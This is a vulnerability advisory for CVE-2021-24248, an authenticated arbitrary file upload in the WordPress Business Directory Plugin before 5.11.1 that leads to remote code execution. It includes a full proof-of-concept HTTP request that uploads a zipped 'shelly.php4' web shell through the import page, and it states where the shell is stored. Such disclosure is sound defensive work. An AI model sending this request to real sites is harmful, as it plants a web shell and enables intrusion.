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Business Directory Plugin < 5.11.1 - Authenticated PHP4 Upload to RCE

Description

The plugin did not properly check for imported files, forbidding certain extension via a blacklist approach, allowing administrator to import an archive with a .php4 inside for example, leading to RCE

Proof of Concept

Create a php4 file with PHP code in it, zip it and import it via the plugin import feature (wp-admin/admin.php?page=wpbdp_admin_csv)

POST http://localhost/wp-admin/admin.php?page=wpbdp_admin_csv HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------31004249213982265192075330464
Content-Length: 2653


-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="action"

do-import
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="csv-file"; filename="Shop search - 1613143091.csv"
Content-Type: application/vnd.ms-excel

stuff,more stuff

-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="images-file"; filename="test.zip"
Content-Type: application/x-zip-compressed

PK  {UR$ó˜SU q
shelly.php4³±/È(PÈLÓÈ,.N-ÑP‰r
u
‰VOÎMQÕÔ¬VHMÎÈWP²)(JµS²VPŠ+Ø*`ª´V(®,.IÍÕ ©Ð´†iÓ‡êKÉLµV¨µ· PK   {UR$ó˜SU q
$ shelly.php4
  #É€×#É€×‰"=_×PK   \ }
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[csv-file-separator]"

,
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[images-separator]"

;
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[category-separator]"

;
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[post-status]"

publish
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[existing-post-status]"

preserve_status
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[create-missing-categories]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[append-images]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[assign-listings-to-user]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[default-user]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[batch-size]"

40
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[disable-email-notifications]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="do-import"

Import Listings
-----------------------------31004249213982265192075330464-- 

Upload Path: wp-content/uploads/wpbdp-csv-imports/{last modified}/images/shelly.php4 

Affects Plugins

business-directory-plugin
Fixed in version 5.11.1

References

CVE
CVE-2021-24248

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

0xB9

Submitter

0xB9

Submitter twitter
0xB9sec
Verified

Yes

WPVDB ID
ca886a34-cd2b-4032-9de1-8089b5cf3001

Timeline

Publicly Published

2021-04-11 (about 1 years ago)

Added

2021-04-12 (about 1 years ago)

Last Updated

2022-05-07 (about 8 months ago)

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